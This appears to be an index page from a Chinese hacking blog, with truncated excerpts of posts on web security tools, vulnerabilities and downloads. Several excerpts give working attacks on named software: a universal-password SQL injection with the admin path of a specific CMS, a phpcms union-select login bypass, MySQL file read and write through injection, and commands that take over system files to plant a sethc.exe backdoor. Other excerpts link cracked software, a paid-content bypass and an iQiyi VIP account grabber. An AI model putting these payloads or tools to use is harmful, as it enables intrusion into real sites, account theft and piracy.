不少朋友希望在文章内容的中间插入广告（个人认为这个对用户体验有点不太好），下面就来看看如何实现吧。 使用 Insert Post Ads 插件Insert Post Ads 是一个非常简单易用的插件，可以在文章和页面中的不同段落插入多个不同广告，你需要做的只是在后台新建广告，然后选择插入的段落位置即可。在后台插件安装界面搜索 Insert Post Ads 即可在线安装，或者到 WordPress官方插件库下载。 纯代码实现如果你只想添加简单的广告代码，不想用插件，那你可以将下面的代码添加到当前主题的functions.php即可：注意按照下面的注释修改广告代码和段落//在文章内容的第二段后面插入广告 add_filter( 'the_content', 'prefix_insert_post_ads' ); function prefix_insert_post_ads( $content ) { $ad_code = '<div>添加你的广告代码</div>'; if ( is_single() && ! is_admin() ) { // 修改 2 这个段落数 return prefix_insert_after_paragraph( $ad_code, 2, $content ); } retur ...继续阅读 (26)

Wfuzz是一个基于Python的Web爆破程序，它支持多种方法来测试WEB应用的漏洞。你可以审计参数、登录认证、GET/POST方式爆破的表单，并且可以发掘未公开的资源，比如目录、文件和头部之类的。Wfuzz是一款为了评估WEB应用而生的Fuzz（Fuzz是爆破的一种手段）工具，它基于一个简单的理念，即用给定的Payload去fuzz。它允许在HTTP请求里注入任何输入的值，针对不同的WEB应用组件进行多种复杂的爆破攻击。比如：参数、认证、表单、目录/文件、头部等等。你可以用Wfuzz找到下面的漏洞：可预测的认证可预测的session标志（session id）可预测的资源定位（目录和文件）注入路径遍历溢出跨站脚本认证漏洞不安全的直接对象引用特性Wfuzz是用来帮助测试人员评估WEB应用的渗透测试工具。递归（目录发掘）Post数据爆破头部爆破输出HTML（详细报告，点击链接查看内容，POST数据也能阅览）多彩输出返回码、词数、行数等等来隐藏结果。URL编码Cookie多线程代理支持多参数fuzz如果需要的朋友可以去这里下载Wfuzz。 ...继续阅读 (37)

很多同学肯定都收到阿里云提示discuz memcache+ssrf GETSHELL漏洞的相关说明，但购买阿里云云盾安骑士最少需要支付100块钱，下面小残我就给大家分享下如何来解决Discuz memcache+ssrf GETSHELL漏洞的问题。该漏洞描述：discuz存在SSRF漏洞，在配置了memcache的情况下，攻击者可以利用ssrf通过memcache中转，向磁盘上写入WEBSHELL恶意代码，从而造成数据库泄漏漏洞名称:Didcuz memcache+ssrf GETSHELL漏洞解决方法一：首先找到这个文件source/function/function_core.php搜索代码：$_G['setting']['output']['preg']['replace'] = str_replace('{CU然后插入以下代码：if (preg_match(“(/|#|\+|%).*(/|#|\+|%)e”, $_G[‘setting’][‘output’][‘preg’][‘search’]) !== FALSE) { die(“request error”); }if (preg_match("(/|#|\+|%).*(/| ...继续阅读 (222)

上周，付费黑客数据检索引擎LeakedSource透露4.27亿条MySpace用户凭证被泄露，昨天，母公司时代（Time Inc）承认微博服务遭到数据泄露，并重复了一些我们已经知晓的细节。很多人可能已经记不起Myspace了，但是10 年前，在Facebook还没有雄霸市场之前，Myspace曾是世界最大的风靡一时的社交媒体网站。但是如今这个社交媒体只是空有其名，有很严重的安全问题。该网址最近曾吹嘘注册用户已跨过 10 亿门槛，然而据去年的报告，每月只有 5000 万个独立访客。在简短的声明中，公司写道：在阵亡将士纪念日这周的周末，我们意识到被偷窃的MySpace用户登录数据在网络黑客论坛上出售。这些被偷窃的数据涉及2013年6月11日之前在旧MySpace平台上创建的部分数据。我们坚信本次数据泄露是由俄罗斯机网络黑客组织“Peace”发起的。和近期发生在LinkedIn和Tumblr上的网络攻击存在相同的攻击行为。目前我们正在积极的进行调查，一旦发现任何新的线索我们将会及时进行公布。数据被出售与LinkedIn和Tumblr数据泄露事件相同，这次事件的“幕后黑手”名为 Peace, 从 MySpace 中盗走数据的时间不明，但黑客和一名来自 LeakedSource（付费黑客数据检索引擎）的操作员说法一致，且后者称有证据表明，数据泄露发生的原因是过去曾有一个未被报告的漏洞。上周 ...继续阅读 (29)

当想要在服务器的开source脚本代码中发掘跨站脚本漏洞时，使用静态分析方法可以使我们的分析过程变得更加简单并且自动化，另外，网上也可以找到许多相关的工具。我近期发现了一种通过寻找共性pattern在PHPsource码中发掘跨站脚本漏洞的简单方法。该方法是使用一个名为XSSaminer的工具，该工具根据grep创建，并使用bash语言编写。代码如下：#!/bin/bash # 1) save it as xssaminer # 2) allow execution: chmod +x xssaminer # 3) run it & check usage: ./xssaminer if [ -z $1 ] then echo -e "Usage:\n$0 FILE\n$0 -r FOLDER" exit else f=$1 fi sources=(GET POST REQUEST "SERVER\['PHP" "SERVER\['PATH_" "SERVER\['REQUEST_U") sinks=(echo die print printf print_r var_dump) xssam(){ for i in ${sources[@]} do a=$(grep -in "\$_${i}" $f | grep -o "\$.*=" | sed "s/[ ] ...继续阅读 (19)

在本文中我们将分析通过利用PHP7默认的 OPcache引擎来对漏洞进行利用的技巧。通过这个漏洞利用技巧，我们将能绕过“禁止web目录的文件读写”（http://www.cyberciti.biz/tips/php-security-best-practices-tutorial.html）的防护，还能在主机中执行任意代码。OPcacheOPcache是PHP 7.0内建的新型缓存引擎，它会编译php的脚本，然后在内存中生成对应的字节码。它还支持在文件系统中进行缓存，我们可以在PHP.ini中指定缓存目录opcache.file_cache=/tmp/opcache在上面指定的目录中，OPcache会将编译好的PHP脚本和对应的PHP脚本放在同一个目录结构之中。比如说，/var/www/index.php所编译的脚本会被保存为/tmp/opcache/[system_id]/var/www/index.php.bin。这里的system_id是一个包含了当前PHP版本信息，Zend框架的扩展ID和各种数据类型信息的哈希值。在Ubuntu最新版16.04中，system_id是由当前Zend框架和PHP的版本号所组成的(81d80d78c6ef96b89afaadc7ffc5d7ea)，这些哈希值有可能是被用来确保二进制兼容性的，这个目录会在OPcache第一次进行缓存时生成。我们将 ...继续阅读 (24)

声明：该软件供学习研究使用或作为一个POC。开发者不赞同和鼓励或以其它方式支持非授权的电脑入侵和网络破坏。RSPET (Reverse Shell and Post Exploitation Tool) 是一个基于Python的反连shell，并且具备后渗透阶段的一些功能。注意：在V0.0.3版本中添加了一个min文件夹，因为这个新版本包含了其它不影响主功能(反连shell)的其它功能min不会引入v0.0.3之后版本的任何更多功能，只接受与bug和性能相关的补丁。目前的版本：v0.0.6 功能远程命令执行流量加密（异或加密代替明文传输），使用443端口可以取得更好的效果内置了加密传输文件或二进制数据的功能内置UDP洪泛攻击工具内置UDP欺骗攻击工具管理多个或全部主机，控制多个连接的主机传输文件和UDP洪泛攻击。模块化的代码设计，易于定制客户端脚本已经过测试，可以兼容Pyinstaller（可以转换成.exe） 1.UDP欺骗使用了RAW_SOCKETS，所以为了正常使用，客户端需要运行在支持RAW_SOCKETS的操作系统（大部分基于Unix的系统）上，并且有root权限。最后，许多ISP在某地方做了手脚，有可能会丢弃或者修改欺骗的数据包。2.查看EXPANDING，方便你添加新的功能，或者根据你的需要定制RSPET3.查看primalsecurity.net ...继续阅读 (22)

最近，根据某国际安全小组的研究表明，金融巨头Visa旗下部分受HTTPS保护的网站最近被发现了一种漏洞，它的存在可以让黑客注入恶意代码，访客浏览器将会访问到恶意内容。加密重用造成的Forbidden Attack据统计，受影响一共有184台服务器，其中部分属于德国证券交易所（Deutsche Börse）和波兰银行协会（Zwizek Banków Polskich），它们被发现容易受到某加密技术漏洞的攻击，我们称之为“Forbidden Attack”。此外，还有7万台web服务器被发现存在风险，虽然实际执行攻击会比较困难。这些数据来自于1月份的全网扫描，当时Deutsche Börse就修补了这个漏洞。但是在上周三的时候，研究人员发现Visa和Zwizek Banków Polskich的漏洞似乎仍然存在，而且官方并没有回复安全研究员私下提交的漏洞信息。该漏洞源于不正确的传输层安全协议，在数据被加密时，错误重用了相同的加密随机数。TLS的规范其实已经写明，这些数据只能使用一次，当多次重用时，则会导致Forbidden Attack。这种攻击能让黑客自行生成密钥去认证网站内容。这个漏洞利用的首次提交，是以评论的形式写给国家标准技术研究所的。之所以叫这个名字，是因为其正确加密的基本原则，是必须临时而独特的。在TLS握手中，那184台HTTPS服务重复使用了客户端浏览器首次连接到HTT ...继续阅读 (21)

第一章、简介1.1 Pangolin是什么？Pangolin是一款帮助渗透测试人员进行Sql注入测试的安全工具。所谓的SQL注入测试就是通过利用目标网站的某个页面缺少对用户传递参数控制或者控制的不够好的情况下出现的漏洞，从而达到获取、修改、删除数据，甚至控制数据库服务器、Web服务器的目的的测试方法。Pangolin能够通过一系列非常简单的操作，达到最大化的攻击测试效果。它从检测注入开始到最后控制目标系统都给出了测试步骤。过去有许多Sql注入工具，不过有些功能不完全，支持的数据库不够多，或者是速度比较慢。但是，在Pangolin发布以后，这些问题都得到了解决。Pangolin也许是目前已有的注入工具中最好的之一。1.2 使用Pangolin可以用来做什么如下是一些示例：渗透测试人员用于发现目标存在的漏洞并评估漏洞可能产生后果的严重程度网站管理员可以用于对自己开发的代码进行安全检测从而进行修补安全技术研究人员能够通过Pangolin来更多更深入的理解SQL注入的技术细节1.3 特色如下是Pangolin提供的一部分特点：全面的数据库支持独创的自动关键字分析能够减少人为操作且更判断结果准确独创的内容大小判断方法能够减少网络数据流量最大话的Union操作能够极大的提高SQL注入操作速度预登陆功能，在需要验证的情况下照样注入代理支持支持HTTPS自定义HTTP标题头功能丰富的绕过防火墙过滤 ...继续阅读 (49)

渗透测试人员对Pass-the-Hash（PtH）攻击都很熟悉。我们常在渗透测试中用到它。如果你的职责包括网络入侵防御，你至少应该了解其攻击方法。不管你有多少经验，你对问题了解得可能不深，或许还不知道它是怎么解决的，注意是“解决”而不是“修复”。概述攻击者通过一定办法获取了Windows计算机的本地管理员权限，可以在内存中寻找其它本地或域内账户登录后的hash，因为电脑正在运行。这些hash可以“传递”（不需要破解）给其它的计算机或者服务，作为一种认证方法。这意味着，一开始只攻破一个看起来不重要的服务器或工作站，由于域管理员账户为了执行一些支持任务，登录了这个机器，就可以在更高的水平攻破整个域。PtH的问题考虑下面比较常见的场景：一个主机被攻陷（没重要价值）。但是本地administrator账户和其它所有主机的密码相同。攻击者从内存中获取了所有的hash，域管理员账户并不在里面。攻击者获取了所有的本地hash，包括administrator账号的。攻击者使用获取的本地administrator的hash，利用PtH登录了其它的主机，然后重复这个过程（也被称为hash喷射攻击）。在这个过程中，会得到一个本地和域用户的hash列表。最终，一个主机会在内存中包含一个有权限的域账户，可以用于访问数据库，文件服务器，以及域控制器，然后再次使用PtH。PtH并不是一个漏洞利用技术，它是Mic ...继续阅读 (40)

高并发网站架构的核心原则其实就一句话“把所有的用户访问请求都尽量往前推“，即：能缓存在用户电脑本地的，就不要让他去访问CDN。 能缓存CDN服务器上的，就不要让CDN去访问源（静态服务器）了。能访问静态服务器的，就不要去访问动态服务器。以此类推：能不访问数据库和存储就一定不要去访问数据库和存储。WordPress最好的优化方式就是尽量不安装插件，Wordpress是典型的PHP-MySQL应用，去做数据库缓存，倒不如让轻量级的Nginx直接去缓存WordPress内容。Nginx内置FastCgi缓存，但是不支持自动清除缓存。当你在Wordpress里面新建/修改一篇文章，或者访客提交评论的时候，自动清空相关的缓存是必要的！Nginx需要安装ngx_cache_purg+量身定做的WordPress缓存清理插件：Nginx Helper。1. 安装Nginx ngx_cache_purge模块1）查看ngx_cache_purge是否安装nginx -V 2>&1 | grep -o ngx_cache_purge显示ngx_cache_purge表示已经安装2）安装ngx_cache_purge模块《OneinStack》和《lnmp一键安装包》下安装ngx_cache_purge模块cd /root/oneinstack/src wget ...继续阅读 (95)

作为全球首个关注智能生活安全的黑客大赛，GeekPwn澳门站将在2016年5月12日举办，并且由一年一赛改为一年双赛。在这样国际化的竞技交流平台上，赛程的增加也为选手提供了多一次赢取丰厚奖金的机会。根据目前倒计时海报的信息，我们可以预测此次GeekPwn大赛或将有选手会针对智能交通，新智能设备、以及近期炙手可热的人工智能等进行破解。 世界头号黑客攻击手段或将重现没有一点点的防备，智能车、无人机、智能手机、路由器、电视盒子等主流智能硬件设备都已经被GeekPwn选手一一攻破过。而此次GeekPwn澳门站，根据主办方透露的信息，将会有项目重现世界头号黑客凯文米特尼克自传中提到的、但从来没有真实案例的任意互联网挟持技术。 这是一个黑客圈的“诺贝尔奖”据GeekPwn发起和创办人、KEEN公司CEO王琦介绍，除了不断追求技艺的突破与提升，GeekPwn更意于发掘极客天才打破常规的、最具创造力的安全极客新思维。犹记得2015年由清华团队夺得头筹，领取46万元大奖的喜悦，今年的澳门站奖金力度也毫不逊色。单项最高奖金达70万人民币，除此之外，组委还特别设立4大奖项鼓励创新：分别是最大脑洞奖、最霸技术奖、最酷展示奖以及 “脑洞”奖，其中最高单项特别奖达10万人民币。黑客教父级人物空降现场腾讯玄武实验室负责人“TK教主”于旸领衔担任此次GeekPwn澳门站的总评委。此外，IDF实 ...继续阅读 (17)

0×00之前写过burpsuite联动sqlmap的插件，这次是一个信息采集的插件，插件名字是TheMagician。是“渗透测试重心由Windows转移至Mac”计划的一小步。本来想简单写写的，但是越写越麻烦，幸亏基友的鼎力相助，总算顺利完成。在使用该插件之前需要修改三个全局变量，分别是NMAPPATH，BINGKEY以及HOMEPATH，其他的全局变量不需要改插件的使用和联动sqlmap插件的一样遵循”简单就是美”的原则通过右键单击最简单的调用创建右键菜单的源代码#创建菜单右键 def createMenuItems(self, invocation): menu = [] responses = invocation.getSelectedMessages() if len(responses) == 1: menu.append(JMenuItem(self._actionName, None, actionPerformed=lambda x, inv=invocation: self.quoteJTab(inv))) return menu return None三个标签代表三个不同的功能0×01 C段端口扫描第一个是C段扫描，其中的IP地址继承自Pr ...继续阅读 (24)

0×00 引言burpsuite和sqlmap是渗透测试中最常用到的两大神器。最中意的功能是利用burpsuite拦截http请求，然后用sqlmap的r参数读取。但每次重复这个动作有点烦，特别是Mac下默认不能右击新建文件。所以一直在找联动burpsuite和sqlmap的插件。在找到的方案中，gason已经很久没更新了；freebuf发的这个插件很不错，但是不适配Mac；比较好的是bapp中的co2，但是调用的不是sqlmap的r参数，而是u参数，无法实现对http请求的全部利用。趁着有时间，自己用Python开发了一个环境操作系统: Mac OS X 10.11.4Python解释器: Jython 2.7Burpsuite: 1.6.38sqlmap: 1.0.3.4(已经添加到环境变量中)0×01 开发新的插件希望能够满足三个要求:1.能通过burpsuite最简单的调用sqlmap2.能够用sqlmap r参数读取请求文件3.能够重复的利用sqlmap请求，比如校验漏洞后继续获取请求的数据，表，列，内容等基于以上三个需求大致梳理了一下流程1.在的Proxy页面右键触发插件2.burpsuite将拦截的http请求全部保存到一个文件中3.弹出mac的终端调用sqlmap -r $fileName然后是源代码其中IBurpExtender是编写插件必须导入的接口，ICont ...继续阅读 (27)

WiFi-Pumpkin是一款无线安全检测工具，利用该工具可以伪造接入点完成中间人攻击，同时也支持一些其它的无线渗透功能。旨在提供更安全的无线网络服务，该工具可用来监听目标的流量数据，通过无线钓鱼的方式来捕获不知情的用户，以此来达到监控目标用户数据流量的目的。主要功能:1.Rouge Wi-Fi接入点功能2.Deauth攻击目标客户端AP功能3.探测请求监测功能4.Crendentials凭证监视功能5.DHCP攻击6.虚假的MAC地址广播DHCP请求攻击7.HSTS劫持攻击功能8.支持 airodump扫描检测功能9.支持mkd3洪水攻击10.支持beef hook功能11.可生成html日志12.支持Mac地址变换功能13.支持ARP攻击14.支持DNS欺骗功能服务支持:hostapdisc-dhcp-serverphp5-cliLinux require（软件）:rfkill 、 iptables 、 nmcli需要安装 Pyqt4安装类库pip install -r requirements.txt安装:git clone https://github.com/P0cL4bs/WiFi-Pumpkin.git cd WiFi-Pumpkin chmod +x installer.sh ./installer.sh --install插件:net-creds dns2prox ...继续阅读 (54)

目前亿网中国网站管理系统最新版本为 5.0版本，5.0及以下后台登陆用户名处均存在sql注入官网网站:www.net111.cn漏洞由菜鸟小Q提供,小残博客整理发布。万能密码漏洞我想大家都已经很熟悉了,这里小残也不做过多的说明,简单点说就是：由于网站的源代码过滤不严造成,通过构造相应的语句从而绕过管理员验证。亿网中国cms是的ASPX程序所以万能密码则是：'OR 1=1 OR '1'='1下面以某亿网CMS的网站为例进行说明：默认后台地址：/SysAdmin/admin.aspx我们输入用户名为:‘OR 1=1 OR ‘1’=’1密码随便填写,然后输入验证码点击登录即成功登录！转载请注明:小残博客！再附上前端的注入点：http://www.xxx.com/Info.aspx?m=20110302093221710301注入点可union注入表sys_user_user存储了管理员用户关于后台怎么拿webshell这里小残就不多做说明了,如果有不懂的可以在文章下方留言。PS：后台地址必须是基于IE内核的浏览器才能打开,个人建议直接使用IE打开即可。不然会提示：对不起，目前此后台只有 IE 6.0 和 IE 7.0 或者基于IE内核的浏览器才能正常运行。 ...继续阅读 (171)

每当我进行内网渗透面对大量主机和服务时，我总是习惯使用自动化的方式从 nmap 扫描结果中提取信息。这样有利于自动化检测不同类型的服务，例如对 web 服务进行路径爆破，测试 SSL/TLS 服务使用的密钥或协议，以及其他有针对性的测试。我在渗透测试中也会经常使用到IPthon或*nix shell，而这些又都能够通过 Python 来访问，无论是直接在脚本中使用、在 REPL 环境下使用，还是将代码写入到磁盘上然后通过 shell 命令访问都是非常好用的。为了完成这些，libnmap 库会提供很好的帮助。本文将会讲述一系列如何使用一行代码解析 nmap 扫描结果，其中会在 Python 环境中使用到 libnmap 里的 NmapParser 库，这个库可以很容易的帮助我们解析 nmap 的扫描结果。我希望本文不仅仅是提供给你可以直接复制粘贴的代码，还可以了解到 IPython 也是渗透测试时一个非常好用的数据处理工具。配置解析 nmap 扫描结果的第一步是你要进行一次 nmap 扫描。我不打算在这里关注过多的细节部分，但是你想要直接使用本文的代码，你需要将扫描结构保存到一个 xml 文件中(-oX 或者 -oA)并且在开放端口上执行了服务侦测(-sV)和运行相关脚本(-sC)。本文的命令假设你在一个 Python REPL 环境如 IPython 并且安装 libnmap 模块 ...继续阅读 (13)

简要描述：近日乌云网报道存在phpcmsV9.6存在高危漏洞，可以导致黑客通过注入漏洞进入后台。详细说明：PHP双字节编码，这个本不应该出现的问题，或许因为过去太久远快被遗忘了，phpcms从20140929的v9.5.9版本起，增加了mysqli的支持，因为编写疏忽，导致该问题又重现江湖。漏洞本身无需细说。phpcms默认使用mysqli数据库，显示mysql语句错误（debug为true，呵呵完全可以爆错注入），而且安装过程不能修改。漏洞影响：利用20140929的v9.5.9以后版本新建站点，以前版本升级的不受影响，故自评Rank为15漏洞危害：高。利用漏洞直接登陆phpsso_server后台获取shell、注入等。漏洞证明：1、登陆登陆phpsso_server后台code 区域用户名：誠' union select 1,0x706870636D73,0x3831346539303966363566316439313263646237636333393833623934333239,4,1,6,7 -- k密码：12、利用phpsso_server/phpcms/modules/admin/messagequeue.php页面的string2array函数获取shell。测试代码另存为html文件，登陆phpsso_server后，提交即可。测试时，请修改form的act ...继续阅读 (109)

httpscan是一个扫描指定网段的Web主机的小工具。和端口扫描器不一样，httpscan是以爬虫的方式进行Web主机发现，因此相对来说不容易被防火墙拦截。httpscan会返回IP http状态码 Web容器版本 以及网站标题。Usage：./httpscan IP/CIDR –t threads Example:./httpscan.py 10.20.30.0/24 –t 10主要代码：#!/usr/bin/env python #coding:utf-8 # Author: Zeroh import re import sys import Queue import threading import optparse import requests from IPy import IP printLock = threading.Semaphore(1) #lock Screen print TimeOut = 5 #request timeout #User-Agent header = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36','Connection ...继续阅读 (25)

本文是关于PHP序列化/对象注入漏洞分析的短篇，里面讲述了如何获取主机的远程shell。如果你想了解更多关于PHP序列化的内容，请访问这个链接。如果你想自行测试这个漏洞，你可以通过XVWA和Kevgir进行操作。漏洞利用的第一步，我们开始测试目标应用是否存在PHP序列化。为了辅助测试，我们使用了Burpsuite的SuperSerial插件，下载地址在这里。它会被动检测PHP和Java序列化的存在。分析我们检测到了应用里使用了PHP序列化，所以我们可以开始确认应用代码里是否含有远程代码执行漏洞。需要注意的是，序列化对象是从参数“r”取来的：$var1=unserialize($_REQUEST['r']);然后再进行反序列化和eval：eval($this->inject);接着，执行：有了这些，如果我们绕过了参数r的PHP序列化对象，那么就可以获得代码执行漏洞了！< ?php error_reporting(E_ALL); class PHPObjectInjection{ public $inject; function __construct(){ } function __wakeup(){ if(isset($this->inject)){ ...继续阅读 (27)

大家都知道08权限的系统权限设置很严格 面对限制IP连接的情况 我们即使拿到system权限 有账号也上不去这种情况下只能弄shift后门 或者放大镜了 但08权限 在system权限也操作不了系统文件夹。普通权限 我用的到时MS12042 这个大家都会用单独讲sysret.exe 拿出了我们找到w3wp.exe这个PID然后我就就获得了system权限了提权后 system权限不能操作系统文件夹我自己搭建的环境 先用administrator账号 测试还是不能操作我用到了2个命令 配合使用能赋予权限能执行takeown /f c:\windows\system32\*.* /a /r /d y将权限目录下的所有文件及文件夹、子文件夹下的所有者更改为管理员组(administrators)命令然后在执行cacls c:\windows\system32\*.* /T /E /G administrators:F目录下的文件、子文件夹的NTFS权限修改为仅管理员组(administrators)完全控制然后系统文件夹权限现在就能替换sethcl.exe了,那么问题也来了,只有管理员组能做了操作的权限,但是我们只有system权限 system权限依然不能操作系统文件夹我们将命令该成就能行了cacls  c:\windows\system32\*.*  /T /E /G system: ...继续阅读 (105)

HTTP头注入的发现和工具化利用目前市面上web漏扫均可以轻易的检测出以GET或POST方式传参的sql注入点，在实际测试过程中，笔者发现多数漏扫检测HTTP头注入问题的能力还不是太理想，这里分享下笔者对于HTTP头注入的发现和利用过程，欢迎各位大牛批评指正。0x01、HTTP头注入的发现推荐使用安装了Modify Headers插件的火狐浏览器对目标站点进行信息收集，该插件可以自定义HTTP 头信息，截图如下：界面很简单，其中select action下拉单中的三个选项中modify比add优先级高，filter为过滤头字段操作，这里以新增http头字段X-Forwarded- For为例，下图红框中最前面选择add，紧跟着写入X-Forwarded-For，然后输入自定义的数值：我这里输入“x- for’;”>xxoo<!–”(不含引号)，配置完成后依次点击save、确定即完成配置。然后使用火狐浏览器浏览存在X-Forwarded-For sql注入漏洞的站点，这里笔者略微改动下dvwa，以配合测试，如图：用配置好的火狐登录dvwa后，点击SQL injection选项，user id随便输入后点击submit，弹出典型的sql注入报错页面如图：实际测试中，我们可以同时定义多个http head字段，然后浏览目标网站，进而发现漏洞，用该配置浏览器上网，常有意外收获， ...继续阅读 (15)

Adobe Dreamweaver是一款非常好用的web前端设计工具，这里详细讲解CS6版本的安装及破解步骤。经过测试，CS5版本也可以使用本经验中共享的破解补丁进行破解。声明：破解补丁与本人无关，本破解教程仅供学习和技术交流使用，不得用于任何商业用途，请大家支持正版。用途，请大家支持正版。声明：破解补丁与本人无关，本破解教程仅供学习和技术交流使用，不得用于任何商业用途，请大家支持正版。工具/原料Dreamweaver_CS6adobe dreamweaver cs6 通用破解补丁安装过程这里安装用的是Dreamweaver_CS6，官方简体中文版的安装文件及破解补丁都可以在这里下载：链接:http://pan.baidu.com/s/1gfEZvub密码: xh5d运行Dreamweaver_CS6安装程序，第一步是将其解压缩到指定目录，我这里就解压到桌面，也可以点击右边的文件夹按钮选择指定位置。解压完成后，会自动运行安装程序PS:如果解压之后的安装过程意外终止了，可以进到之前解压指定的目录中，找到Set-up.exe，直接开始安装，而不用再重新解压一次了因为我们没有安装序列号，是使用破解补丁破解，所以这里选择“试用”CS6版本的安装开始前都需要登录，这里列举的也是需要注册、登录的过程。有一种方法可以不用登录：在安装开始前断开网络，选择”稍后连接“，即可跳过登录和注册步骤，直接开 ...继续阅读 (21)

对学习PHP的新手来说，WINDOWS下PHP环境配置是一件很困难的事，就是老手也是一件烦琐的事。因此，无论你是新手还是老手，phpStudy 2016都是一个不错的选择，该程序集成Apache+PHP+MySQL+phpMyAdmin+ZendOptimizer，最新版本已集成最新的 PHP7。下面针对刚接触WordPress，并准备学习WordPress使用及个性化修改主题的童鞋，说一下phpStudy程序的使用方法，供大家参考。本地搭建PHP环境并安装运行WordPress，是喜欢折腾的童鞋所必须的，特别是试用网上淘来的各式各样主题、插件的，更应该在本地环境中测试，否则很多主题、插件都会有数据留在数据库中，后患无穷。一，下载最新版本phpStudy 2016及相关运行库链接：http://pan.baidu.com/s/1jIvVU5o提取密码：u18l相关的VC11、VC14运行库下载：链接：http://pan.baidu.com/s/1gfDCZAj提权密码：2xns必须安装VC运行库，否则不能运行PHP7环境。官网下载地址:http://www.phpstudy.net/a.php/208.html该程序包集成最新的Apache+Nginx+LightTPD+PHP+MySQL+phpMyAdmin+Zend Optimizer+Zend Loader，一次性安装，无 ...继续阅读 (11)

当我们在获得一个php网站存在注入点以后往往会使用user()来查询当前用户的权限如果查询结果是root权限的话且已知网站的物理路径的情况下可以直接读取网站目录下的某个文件读取语句:load_file()如上图所示:mysql.exe -uroot -proot -h127.0.0.1是连接数据库 -u用户名 -p密码 -h数据库地址select load_file(‘c://1.txt’); select是查询语句 load_file() 读取语句完整的意思就是读取c盘根目录下的1.txt文件在网页上执行读取的语句则是:http://www.xxx.com/x.php?id=1 union select 1,load_file('c://1.txt'),3,4导出语句:into outfile如上图所示select 'exehack.net' into outfile 'c:/3.txt';完整意思就是将exehack.net 写入到C盘的根目录下命名为3.txt并导入出来在网页上执行读取的语句则是:http://www.xxx.com/x.php?id=1 union select 1,exehack,net,3,4 into outfile 'c:/3.txt'以上只是一种思路如何实际的运用到网站渗透当中去大家发挥自己的想法前面小残也发布过类似的教程网 ...继续阅读 (12)

随着音乐版权的正式化，听歌是没问题，但是下载却不能了，比如网易云音乐，弹出下面的对话框都需要收费！比如小残想在网易云音乐听下月光-胡歌可是提示如下！支持的搜索引擎网易云音乐、电信爱音乐、腾讯音乐、虾米音乐、天天动听、百度音乐、酷我音乐、酷狗音乐、多米音乐、Echo回音、5Sing原创、网盘搜索、懒人听书、音悦台MV音悦台MV （全部清晰度，包括会员的1080P，直接搜索MV链接地址即可）网盘搜索 （可百度云盘资源，需自行打开浏览器下载）这里我们使用音乐间谍看下是不是能播放并且下载无损音乐这里我们可以看到是可以正常播放的并且可以下载,下载完成后歌曲在软件的程序目录下。当然这里小残还是提倡大家支持正版！百度网盘:http://pan.baidu.com/s/1i4cpHlV密码：提取密码:p51w小残博客  点击此处订阅博客 作者：小残博客网 本站部分文章来自网络，版权归原作者，转载请保留原作者署名！本文来自小残博客>>文章地址:“http://www.exehack.net/2876.html” ...继续阅读 (21)

sqsx免费代理使用说明：首次使用必须运行win7需要以管理员方式运行国外游戏首选的免费代理，免费代理跨国跨省随意畅游。全局代理，代理所有网络，访问国内外所有网络，局部代理，仅访问国外网络时才使用VPN访问。PPTP连接：最常用的连接方式，连接速度快而稳定，适合大部分网络L2TP连接方式：适合少数网吧网络/教育网/铁通网/公司局域网等多样化网络。       更新信息：压缩包MD5：B78CE4077C7C8851C8001A58E47DF6CD软件MD5：E6F2B886305A08D444E0AEA23E8D362D在线查毒(软件)：http://r.virscan.org/report/4c893640308c3e16b11856f4713ab298百度网盘下载地址:http://pan.baidu.com/s/1c1wbxXA提取密码：i99t小残博客  点击此处订阅博客 作者：小残博客网 本站部分文章来自网络，版权归原作者，转载请保留原作者署名！本文来自小残博客>>文章地址:“http://www.exehack.net/2866.html” ...继续阅读 (213)

网络上无聊的人一大堆，SSH端口密码扫描破解的人也很多，如果你的VPS被攻破那么会被用来攻击别人（如DDOS攻击），那么遇到严格的服务商，那么就会被关闭或者永久关闭，下面微饭给大家推荐个检测SSH破解及防护方法。SSH暴力破解检测方法如果你CPU/内存异常爆表，连接速度极慢，有异常进程等情况，有可能你的VPS被人扫描破解或者已经沦陷。。可以用此方法检测下多少人在“盯着”你的VPS# cat /var/log/secure | awk '/Failed/{print $(NF-3)}' | sort | uniq -c | awk '{print $2" = "$1;}'通过上面的命令可以查看有哪些IP尝试过连接和破解次数，如下所示：109.74.209.197 = 9 113.195.145.70 = 740 113.195.145.85 = 1038 115.197.42.232 = 3 115.239.212.132 = 19 115.239.212.133 = 14 115.239.212.134 = 17 115.239.212.135 = 18 115.239.212.136 = 16 115.239.212.137 = 23 115.239.212.138 = 16 115.239.212.139 = 14 115.47.26.53 = 10 117.245.5.85 ...继续阅读 (28)

蜀山战记每个月的22号的晚8点会更新整整一季今天是10月22日，不过7点多就好像更新了，正在看独乐乐不如众乐乐。大家一起吧。本站将会同步爱奇艺蜀山战纪更新BT种子，请勿大肆宣传自己看看就行，当然有条件的还请支持正版！蜀山战记在爱艺上线时可谓是火得一塌糊涂，首先播出的是爱奇艺VIP独播2015.09.22第一季共10集、2015.10.22第二季共10集、2015.11.22第三季共10集、2015.12.22第四季共10集、2016.01.22第五季共10集、2016.02.22第六季共4集。总计54集。电视台安徽卫视会在2016年的1月15日播出每天19：30两集连播。 其它地方没有播放，不要相信网络上的蜀山战纪第一季下载或者第二季、第三季、第四季、第五季、第六季下载了。都是骗流量的那是假的。就连受奇艺会员都不能下载只能在线观看。蜀山战纪1-3季下载地址:蜀山战纪第一季全集下载:蜀山战纪第一季蜀山战纪第二季全集下载:蜀山战纪第二季蜀山战纪第三季全集下载:蜀山战纪第三季 如果不想下载种子观看的也可以使用爱奇艺客户端观看爱奇艺VIP帐号密码获取器:http://pan.baidu.com/s/1o72sTD4密码：khnyPS:本文资源来源于:深林之家 ...继续阅读 (165)

众所周知，Burp Suite是响当当的web应用程序渗透测试集成平台。从应用程序攻击表面的最初映射和分析，到寻找和利用安全漏洞等过程，所有工具为支持整体测试程序而无缝地在一起工作。具体介绍可以去看下百度百科解释Burpsuite此处大牛更新的了最新版本的Burpsuite 1.6.24版本 更新内容如下1.6.24This release adds a new Scanner check for server-side template injection.Template engines are widely used by web applications to present dynamic data via web pages and emails. Unsafely embedding user input in templates leads to a vulnerability that is:frequently critical, allowing full arbitrary code execution on the server; andeasily mistaken for cross-site scripting, which is usually a much less serious issue.翻译过来即是:24年6月1日此版本增加了一个新的扫描 ...继续阅读 (28)